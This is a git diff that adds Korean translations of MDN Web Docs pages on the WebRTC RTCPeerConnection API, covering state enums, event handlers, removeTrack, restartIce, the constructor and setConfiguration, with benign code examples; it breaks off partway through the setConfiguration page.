RTCPeerConnectionState enum은 RTCPeerConnection이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new" +

연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 "new" 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: "connecting", "checking", "failed", 혹은 "disconnected", 혹은  모든 연결의 전송이 끝났다는 "closed"상태.

+
"connecting"하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 RTCIceConnectionState"checking" 혹은 "connected"이며, 그 어떤 전송도 "failed"상태가 아니여야합니다. <<< Make this a link once I know where that will be documented
"connected"연결에 의해 사용되는 모든 ICE 전송이 사용 중 ("connected" 혹은 "completed")이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 "connected" 혹은 "completed"입니다.
"disconnected"연결에 대한 최소 한 개의 ICE 전송이 "disconnected"상태이고, 그 외의 다른 전송 상태는 "failed", "connecting", 혹은 "checking"이 아님을 알려주는 값. 
"failed" +

연결에 대한 하나 혹은 여러개의 ICE 전송이 "failed"상태임을 알려주는 값.

+
"closed" +

RTCPeerConnection 개통되지 않음을 알려주는 값.

+ +

2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 RTCPeerConnectionState enum 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. 

+
+ +

RTCRtcpMuxPolicy enum

+ +

The RTCRtcpMuxPolicy enum defines string constants which specify what ICE candidates are gathered to support non-multiplexed RTCP. <<<add a link to info about multiplexed RTCP.

+ + + + + + + + + + + + + + + + + + +
상수명설명
"negotiate"Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.
"require"Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.
+ +

RTCSignalingState enum

+ +

The RTCSignalingState enum specifies the possible values of {{domxref("RTCPeerConnection.signalingState")}}, which indicates where in the process of signaling the exchange of offer and answer the connection currently is.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"stable"There is no ongoing exchange of offer and answer underway. This may mean that the {{domxref("RTCPeerConnection")}} object is new, in which case both the {{domxref("RTCPeerConnection.localDescription", "localDescription")}} and {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} are null; it may also mean that negotiation is complete and a connection has been established.
"have-local-offer"The local peer has called {{domxref("RTCPeerConnection.setLocalDescription()")}}, passing in SDP representing an offer (usually created by calling {{domxref("RTCPeerConnection.createOffer()")}}), and the offer has been applied successfully.
"have-remote-offer"The remote peer has created an offer and used the signaling server to deliver it to the local peer, which has set the offer as the remote description by calling {{domxref("RTCPeerConnection.setRemoteDescription()")}}.
"have-local-pranswer"The offer sent by the remote peer has been applied and an answer has been created (usually by calling {{domxref("RTCPeerConnection.createAnswer()")}}) and applied by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. This provisional answer describes the supported media formats and so forth, but may not have a complete set of ICE candidates included. Further candidates will be delivered separately later.
"have-remote-pranswer"A provisional answer has been received and successfully applied in response to an offer previously sent and established by calling setLocalDescription().
"closed" {{obsolete_inline}} +

The connection is closed.

+ +
+

This value moved into the RTCPeerConnectionState enum in the May 13, 2016 draft of the specification, as it reflects the state of the RTCPeerConnection, not the signaling connection. You now detect a closed connection by checking for {{domxref("RTCPeerConnection.connectionState", "connectionState")}} to be "closed" instead.

+
+
+ +

사양

+ + + + + + + + + + + + + + +
사양명상태설명
{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}{{Spec2('WebRTC 1.0')}}초기 정의.
+ +

브라우저 호환성

+ +
+ +
{{Compat("api.RTCPeerConnection")}}
+ +

참고

+ + diff --git a/files/ko/web/api/rtcpeerconnection/localdescription/index.html b/files/ko/web/api/rtcpeerconnection/localdescription/index.html new file mode 100644 index 0000000000..0525c9f0eb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/localdescription/index.html @@ -0,0 +1,64 @@ +--- +title: RTCPeerConnection.localDescription +slug: Web/API/RTCPeerConnection/localDescription +translation_of: Web/API/RTCPeerConnection/localDescription +--- +

{{WebRTCSidebar}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCPeerConnection.localDescription는 연결의 로컬 엔드에 대한 세션을 설명하는 {{domxref("RTCSessionDescription")}}를 반환합니다. 아직 설정이 안되어있다면, null 입니다.

+ +

Syntax

+ +
 var sessionDescription = peerConnection.localDescription;
+ +

기본적으로 반환 값은 해당 속성이 null이 아닐 때에만 {{domxref("RTCPeerConnection.pendingLocalDescription")}}의 값입니다. 그렇지 않은 경우에는 {{domxref("RTCPeerConnection.currentLocalDescription")}}의 값이 반환됩니다. 이 알고리즘 및 사용하는 이유에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.

+ +

예시

+ +

아래의 예시에서는 localDescription를 확인하고, {{domxref("RTCSessionDescription")}} 객체의 타입과 sdp필드를 담고있는 경고를 띄웁니다.

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.localDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-localDescription', 'RTCPeerConnection.localDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.localDescription")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html new file mode 100644 index 0000000000..5505f509eb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html @@ -0,0 +1,65 @@ +--- +title: RTCPeerConnection.onconnectionstatechange +slug: Web/API/RTCPeerConnection/onconnectionstatechange +translation_of: Web/API/RTCPeerConnection/onconnectionstatechange +--- +

{{APIRef("WebRTC")}}

+ +

RTCPeerConnection.onconnectionstatechange 속성에 {{domxref("RTCPeerConnection")}} 인스턴스에서 발생하는 {{event("connectionstatechange")}} 이벤트를 처리하기 위해 호출되는 {{domxref("EventHandler")}}를 정의하게됩니다. 이 이벤트는  연결의 상태 집합체가 변할 때마다 발생합니다. 이 상태 집합체는 연결에 의해 사용되는 각각의 네트워크 전송 상태들의 묶음입니다.

+ +

Syntax

+ +
RTCPeerConnection.onconnectionstatechange = eventHandler;
+
+ +

+ +

{{domxref("RTCPeerConnection")}}에서 {{event("connectionstatechange")}} 이벤트가 생길 때, 브라우저에 의해 호출되는 함수입니다. 이 함수는 {{domxref("Event")}} 타입의 객체인 단일 패러미터를 입력인자로 받습니다. 해당 이벤트 객체는 특별한 정보를 담고 있지는 않습니다. 새로운 상태를 확인하려면 피어 연결의 {{domxref("RTCPeerConnection.connectionState", "connectionState")}}에 해당하는 값을 살펴보십시오. 

+ +

예시

+ +
pc.onconnectionstatechange = function(event) {
+  switch(pc.connectionState) {
+    case "connected":
+      // The connection has become fully connected
+      break;
+    case "disconnected":
+    case "failed":
+      // One or more transports has terminated unexpectedly or in an error
+      break;
+    case "closed":
+      // The connection has been closed
+      break;
+  }
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onconnectionstatechange', 'RTCPeerConnection.onconnectionstatechange') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onconnectionstatechange")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html new file mode 100644 index 0000000000..d32f6c9b80 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html @@ -0,0 +1,62 @@ +--- +title: RTCPeerConnection.ondatachannel +slug: Web/API/RTCPeerConnection/ondatachannel +translation_of: Web/API/RTCPeerConnection/ondatachannel +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.ondatachannel 속성은 {{domxref("RTCPeerConnection")}}에서 발생하는 {{event("datachannel")}} 이벤트에 의해 호출되는 {{domxref("EventHandler")}}입니다. 이 속성에는 함수를 정의하게됩니다. {{domxref("RTCDataChannelEvent")}}의 한 종류인 이 이벤트는 원격 유저가 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}}를 호출해서 연결에 {{domxref("RTCDataChannel")}}가 추가되었을 때, 전달됩니다. 

+ +

이 이벤트를 수신하게되는 시점에서는 {{domxref("RTCDataChannel")}}가 아직 열리지 않았을 수 있습니다. 사용하기 전에 꼭 신규 RTCDataChannel"open"이벤트가 발생하는 것을 확인하십시오.

+ +

Syntax

+ +
RTCPeerConnection.ondatachannel = function;
+
+ +

+ +

이 속성에 지정하는 함수는 단일 패러미터를 입력 인자로 받습니다. channel 속성에 생성된 {{domxref("RTCDataChannel")}}를 제공하는 {{domxref("RTCDataChannelEvent")}} 입니다. 

+ +

예시

+ +
pc.ondatachannel = function(ev) {
+  console.log('Data channel is created!');
+  ev.channel.onopen = function() {
+    console.log('Data channel is open and ready to be used.');
+  };
+};
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-ondatachannel', 'RTCPeerConnection.ondatachannel') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.ondatachannel")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html new file mode 100644 index 0000000000..a8c23acfc1 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html @@ -0,0 +1,63 @@ +--- +title: RTCPeerConnection.onicecandidate +slug: Web/API/RTCPeerConnection/onicecandidate +translation_of: Web/API/RTCPeerConnection/onicecandidate +--- +

{{APIRef("WebRTC")}}

+ +

 RTCPeerConnection 속성의 {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 는 {{domxref("RTCPeerConnection")}} 인스턴스에서 {{event("icecandidate")}} 이벤트 발생시에 호출 하려는 함수를 지정합니다. 이 이벤트는 로컬 {{Glossary("ICE")}} 에이전트가 signaling 서버를 통해 원격 피어에게 메세지를 전달 할 필요가 있을때 마다 발생합니다. 그리고 ICE 에이전트가 signaling에 사용되는 기술에 대한 구체사항을 모르더라도 원격 피어와의 네고시에이션을 수행하도록 도와줍니다. 어떤 메세징 기술을 선택하던간에, 이 메소드를 사용해서 원격 피어에 ICE candidate를 전달하는 과정을 간단하게 구현 할 수 있습니다. 

+ +

Syntax

+ +
RTCPeerConnection.onicecandidate = eventHandler;
+
+ +

+ +

onicecandidate 속성은 {{event("icecandidate")}} 이벤트를 나타내는 {{domxref("RTCPeerConnectionIceEvent")}} 객체를 입력 값으로 받는 함수로 설정되어야합니다. 여기에 설정되는 함수는 ICE candidate를 signaling 서버를 통해 원격 피어에게 전달해야합니다. 이때, ICE candidate의 {{Glossary("SDP")}}는 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성에서 확인 할 수 있습니다. 만약 이벤트의 candidate 속성이 null로 지정되어있다면, ICE 수집과정이 완료됩니다. 이 메세지는 원격 피어에 전달되지 않아야합니다. 이때, 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 또한 complete로 바뀌게 됩니다. ICE 수집 상태를 명시적으로 감시할 필요는 없습니다. 다만, signaling의 종료를 감지해야 한다면, ICE 네고시에이션이 complete 상태로 변한것을 알려주는 {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} 이벤트를 감시하면 됩니다.

+ +

예시

+ +

아래는 Signaling and video calling 문서의 코드를 기반으로 원격 피어에게 ICE candidate를 전달하는 {{event("icecandidate")}} 이벤트에 대한 핸들러를 설정합니다.

+ +
pc.onicecandidate = function(event) {
+  if (event.candidate) {
+    // event.candidate가 존재하면 원격 유저에게 candidate를 전달합니다.
+  } else {
+    // 모든 ICE candidate가 원격 유저에게 전달된 조건에서 실행됩니다.
+    // candidate = null
+  }
+}
+ +

위에서 알 수 있듯이, 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성이 null이면 네고시에이션의 종료가 감지됩니다. 

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicecandidate', 'RTCPeerConnection.onicecandidate') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onicecandidate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html new file mode 100644 index 0000000000..8e3e375efb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html @@ -0,0 +1,76 @@ +--- +title: RTCPeerConnection.onicegatheringstatechange +slug: Web/API/RTCPeerConnection/onicegatheringstatechange +translation_of: Web/API/RTCPeerConnection/onicegatheringstatechange +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.onicegatheringstatechange속성은 {{event("icegatheringstatechange")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전달될 때 호출이되는 함수를 정의하는 {{domxref("EventHandler")}}입니다. 이이벤트는 ICE 에이전트가 ICE candidate를 수집을 하는지의 여부를 알려주는 ICE 수집 상태가 변하면 발생합니다. 하지만, ICE 수집 상태를 모니터링 해야하는 특별한 이유가 없으면 이 이벤트를 감시 할 필요는 없습니다.

+ +

Syntax

+ +
RTCPeerConnection.onicegatheringstatechange = eventHandler;
+
+ +

+ +

{{event("icegatheringstatechange")}} 이벤트를 가진 {{domxref("Event")}} 객체를 단일 패러미터로 전달하는 함수를 제공합니다. {{domxref("RTCPeerConnection.iceGatheringState")}} 속성의 값 확인을 통해 ICE 수집 상태를 새로운 값으로 변경이 가능합니다.

+ +

예시

+ +

아래의 예제는 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성 값이 변할 때마다 현재 값을 확인하고, 수집 상태 변화에 맞추어 표시될 상태 내용을 업데이트해서 유저에게 알려줍니다.  

+ +

이 상태는 {{HTMLElement("div")}} 요소에 텍스트로 표시됩니다.

+ +
<div id="iceStatus"></div>
+
+ +

예제에 사용된 이벤트 핸들러는 아래와 같습니다:

+ +
pc.onicegatheringstatechange = function() {
+  let label = "Unknown";
+
+  switch(pc.iceGatheringState) {
+    case "new":
+    case "complete":
+      label = "Idle";
+      break;
+    case "gathering":
+      label = "Determining route";
+      break;
+  }
+  // HTML에서 id가 "iceStatus"인 요소에 label 값을 지정
+  document.getElementById("iceStatus").innerHTML = label;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicegatheringstatechange', 'RTCPeerConnection.onicegatheringstatechange') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onicegatheringstatechange")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html new file mode 100644 index 0000000000..a237bae774 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html @@ -0,0 +1,55 @@ +--- +title: RTCPeerConnection.onidentityresult +slug: Web/API/RTCPeerConnection/onidentityresult +translation_of: Web/API/RTCPeerConnection/onidentityresult +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.onidentityresult 이벤트 핸들러는 {{domxref("RTCPeerConnection")}}가 {{domxref("RTCIdentityEvent")}} 타입의 {{event("identityresult")}} 이벤트를 수신하게되면 실행되는 코드를 담고 있는 속성입니다. 이러한 이벤트는 {{domxref("RTCPeerConnection.getIdentityAssertion()", "getIdentityAssertion()")}} 혹은 offer 혹은 answer를 생성하는 과정에 의해 식별인자 주장이 생성되면 전송됩니다.

+ +

Syntax

+ +
peerconnection.onidentityresult = function;
+
+ +

+ + + +

예시

+ +
pc.onidentityresult = function(ev) { alert("onidentityresult event detected!"); };
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onidentityresult', 'RTCPeerConnection.onidentityresult') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onidentityresult")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/ontrack/index.html b/files/ko/web/api/rtcpeerconnection/ontrack/index.html new file mode 100644 index 0000000000..1856d41890 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/ontrack/index.html @@ -0,0 +1,63 @@ +--- +title: RTCPeerConnection.ontrack +slug: Web/API/RTCPeerConnection/ontrack +translation_of: Web/API/RTCPeerConnection/ontrack +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}} 속성인 ontrack은 {{domxref("RTCPeerConnection")}}에 트랙이 등록됨을 알려주는 {{event("track")}}가 발생하면 호출되는 함수를 지정하는 {{domxref("EventHandler")}}입니다.

+ +

이 함수는 {{domxref("RTCTrackEvent")}} 타입의 이벤트 객체를 입력 인자로 받습니다. 해당 이벤트는 신규로 받아지는 {{domxref("MediaStreamTrack")}}가 생성되고 연결의 리시버 세트에 추가된 {{domxref("RTCRtpReceiver")}}객체와 연관되면 전송됩니다.

+ +

Syntax

+ +
RTCPeerConnection.ontrack = eventHandler;
+
+ +

+ +

ontrack을 함수로 지정해서 신규 트랙에 대해 설명하고 어떻게 사용 될지를 알려주는 {{domxref("RTCTrackEvent")}} 객체를 입력 인자로 받도록 하십시오. 이 정보에는 신규 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체, {{domxref("RTCRtpReceiver")}}와{{domxref("RTCRtpTransceiver")}}, 그리고 트랙이 어느 스트림에 해당하는지를 알려주는 {{domxref("MediaStream")}}의 리스트 객체를 포함합니다. 

+ +

예시

+ +

아래의 예시는 Signaling and video calling 문서에 나온 코드의 일부입니다. 이 코드는 들어오는 트랙을 {{HTMLElement("video")}}에 연결해서 해당 비디오를 보여줄 수 있도록 합니다.

+ +
pc.ontrack = function(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+};
+
+
+ +

첫 줄에 나온 ontrack 이벤트 핸들러는 들어오는 트랙의 첫 스트림을 가져다가 {{htmlattrxref("srcObject", "video")}} 속성에 지정합니다. 이렇게 함으로써 비디오의 스트림을 해당 요소에 연결하고, 유저에게 보여 줄 수 있게됩니다. 두 번째줄에서는 "통화 종료" 버튼을 활성화하여 유저가 통화를 종료 할 수 있도록 해줍니다.

+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-ontrack', 'RTCPeerConnection.ontrack')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.ontrack")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/removetrack/index.html b/files/ko/web/api/rtcpeerconnection/removetrack/index.html new file mode 100644 index 0000000000..f08af06fd8 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/removetrack/index.html @@ -0,0 +1,80 @@ +--- +title: RTCPeerConnection.removeTrack() +slug: Web/API/RTCPeerConnection/removeTrack +translation_of: Web/API/RTCPeerConnection/removeTrack +--- +
{{APIRef("WebRTC")}}
+ +

RTCPeerConnection.removeTrack() 메소드는 {{domxref("RTCPeerConnection.getSenders()")}}에 의해 보고된 발신자 목록에서 해당 {{domxref("RTCRtpSender")}}를 실제로 제거하지 않은채, 지정한 트랙에서 미디어 전송을 중단하도록 연결의 로컬엔드에 알려줍니다. 해당 트랙이 이미 중단되었거나, 연결의 발신자 목록에 존재하지 않으면, 이 메소드는 아무 영향이 없습니다.

+ +

연결이 이미 협상된 경우 ({{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "stable"로 설정된 경우), 재협상이 필요하다고 표시를 하게됩니다. 따라서, 원격 유저는 해당 협상이 발생하기 전까지 아무런 변화를 감지 할 수 없습니다. {{event("negotiationneeded")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전송되고, 로컬엔드에게 해당 협상이 반드시 발생해야 한다고 알려주게됩니다.

+ +

Syntax

+ +
pc.removeTrack(sender);
+
+ +

매개변수

+ +
+
mediaTrack
+
연결에서 해당하는 발신자를 제거하도록 알려주는 {{domxref("RTCRtpSender")}}.
+
+ +

반환 값

+ +

undefined.

+ +

예외처리

+ +
+
InvalidStateError
+
연결이 열린 상태가 아닙니다.
+
+ +

예시

+ +

아래의 예시는 연결에 비디오 트랙을 추가하고, 닫기 버튼을 감청하여 유저가 버튼을 클릭하면 해당 미디어를 제거하도록 합니다.

+ +
var pc, sender;
+navigator.getUserMedia({video: true}, function(stream) {
+  pc = new RTCPeerConnection();
+  var track = stream.getVideoTracks()[0];
+  sender = pc.addTrack(track, stream);
+});
+
+document.getElementById("closeButton").addEventListener("click", function(event) {
+  pc.removeTrack(sender);
+  pc.close();
+}, false);
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-removetrack', 'RTCPeerConnection.removeTrack()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.removeTrack")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/restartice/index.html b/files/ko/web/api/rtcpeerconnection/restartice/index.html new file mode 100644 index 0000000000..dc3494d2ec --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/restartice/index.html @@ -0,0 +1,80 @@ +--- +title: RTCPeerConnection.restartIce() +slug: Web/API/RTCPeerConnection/restartIce +translation_of: Web/API/RTCPeerConnection/restartIce +--- +

{{APIRef("WebRTC API")}}

+ +

WebRTC API의 {{domxref("RTCPeerConnection")}} 인터페이스에서는 restartIce() 메소드를 제공해서 연결의 양쪽에서 {{Glossary("ICE")}} candidate의 재수집 요청을 간단하게 할 수 있게 만들어줍니다.

+ +

restartIce()가 반환을 한 뒤에는, offer가 시그널링 메커니즘을 통해 전달되고, 원격 피어가 받은 offer를 description으로 설정을 하게 됩니다.이 과정이 완료되면, {{domxref("RTCPeerConnection.createOffer", "createOffer()")}}에 대한 다음 호출로 반환된 offer가 로컬 피어 (로컬로 설정이 된 경우)와 원격 피어에서 ICE 재시작을 발생시키도록 설정됩니다. 

+ +

restartIce()RTCPeerConnection에 대한 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시켜서 어플리케이션이 신호 채널을 통해서 협상을 수행하도록 합니다.

+ +

만약 협상이 롤백 현상이나 수신받은 offer가 이미 협상 중으로 인해 실패하게되면, {{domxref("RTCPeerConnection")}}가  ICE 재시작 요청을 했다는 것을 자동으로 기억합니다. 다음번에 연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 stable로 바뀌게되면, 연결 인터페이스가 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시킵니다. 이 과정은 ICE 재시작 과정이 온전히 완료될 때까지 반복됩니다.

+ +

Syntax

+ +
RTCPeerConnection.restartIce();
+ +

매개변수

+ +

없음.

+ +

반환 값

+ +

undefined.

+ +

{{domxref("RTCPeerConnection.createOffer", "createOffer()")}}를 사용해서 만들어진 다음 offer가 신호 메커니즘을 통해 원격 유저에게 전달이 되면, ICE 재시작을 시작하도록 만듭니다. ICE를 재시작하게되면 기본적으로 ICE가 초기화되고, 새로운 증명서를 사용해서 신규 candidate를 생성합니다. 기존에 존재하던 미디어 전송/수신은 이 과정동안에는 방해받지 않습니다.

+ +

ICE 재시작의 작동원리를 좀 더 자세히 알고 싶다면, {{SectionOnPage("/ko/docs/Web/API/WebRTC_API/Session_lifetime", "ICE restart")}}와 {{RFC(5245, "ICE specification", "9.1.1.1")}}를 참고하십시오.

+ +

예시

+ +

아래의 예제는 {{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}} 이벤트에 대한 핸들러입니다. 이 핸들러는 ICE를 재시작하여 failed 상태로의 전환을 관리합니다. 

+ +
pc.addEventListener("iceconnectionstatechange", event => {
+  if (pc.iceConnectionState === "failed") {
+    /* possibly reconfigure the connection in some way here */
+    /* then request ICE restart */
+    pc.restartIce();
+  }
+});
+
+ + + +

위의 코드를 사용하여 ICE 협상 중 failed 상태로 전환되면 코드가 정상적으로 재협상 되어야 하기 때문에 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트가 발생합니다. 그러나, restartIce()를 호출했기 때문에 negotiationneeded에 대한 핸들러에서 발생하는 {{domxref("RTCPeerConnection.createOffer", "createOffer()")}} 호출은 일반적으로 수행되는 재협상이 아니라 ICE 재시작을 발생시킵니다.

+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-restartice', 'RTCPeerConnection.restartIce()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.restartIce")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html new file mode 100644 index 0000000000..2fa7822559 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -0,0 +1,59 @@ +--- +title: RTCPeerConnection() +slug: Web/API/RTCPeerConnection/RTCPeerConnection +translation_of: Web/API/RTCPeerConnection/RTCPeerConnection +--- +
{{APIRef("WebRTC")}}
+ +

RTCPeerConnection() 생성자는 로컬 기기와 원격 피어 간의 연결을 나타내는 {{domxref("RTCPeerConnection")}} 객체를 새로 만들어 반환합니다.

+ +

문법

+ +
pc = new RTCPeerConnection([configuration]);
+ +

매개변수

+ +
+
configuration {{optional_inline}}
+
RTCConfiguration dictionary는 신규 연결을 설정하는 옵션들을 제공합니다.
+
+ +

RTCConfiguration dictionary

+ +

{{page("/ko/docs/Web/API/RTCConfiguration", "속성")}}

+ +

반환 값

+ +

configuration이 지정된 경우 그에 맞게 구성한, 그렇지 않은 경우 기본값 구성을 이용한 {{domxref("RTCPeerConnection")}} 객체입니다.

+ +

사양

+ + + + + + + + + + + + + + +
사양명상태설명
{{SpecName('WebRTC 1.0', '#widl-ctor-RTCPeerConnection--RTCConfiguration-configuration', 'RTCPeerConnection()')}}{{Spec2('WebRTC 1.0')}}초기 선언
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.RTCPeerConnection")}}

+ +

참고

+ + diff --git a/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html new file mode 100644 index 0000000000..844f1ae4a8 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html @@ -0,0 +1,99 @@ +--- +title: RTCPeerConnection.setConfiguration() +slug: Web/API/RTCPeerConnection/setConfiguration +translation_of: Web/API/RTCPeerConnection/setConfiguration +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.setConfiguration() 메소드는 {{domxref("RTCConfiguration")}}객체에 명시한 값을 가지고 {{domxref("RTCPeerConnection")}}의 현재 설정을 지정합니다. 이 메소드를 사용해서 연결에서 사용되는 ICE 서버와 전송 정책을 변경 할 수 있습니다. 

+ +

가장 보편적으로 쓰이는 방법은 사용하려는 ICE 서버 값으로 교체해주는것 입니다. (엄청 자주 사용되는 케이스는 아닐 것입니다) 이 방법을 수행하는 두 가지 시나리오는 아래와 같습니다:

+ + + +
+

연결이 이미 설정이 되어있다면, 식별 정보는 변경 할 수 없습니다.

+
+ +

Syntax

+ +
RTCPeerConnection.setConfiguration(configuration);
+ +

매개변수

+ +
+
configuration
+
설정을 할 수 있는 옵션들을 제공해주는 {{domxref("RTCConfiguration")}} 객체입니다. 변경사항은 계속해서 추가되지 않습니다. 대신에, 신규 값이 기존의 값은 완전히 대체하게 됩니다.
+
+ +

예외처리

+ +
+
InvalidAccessError
+
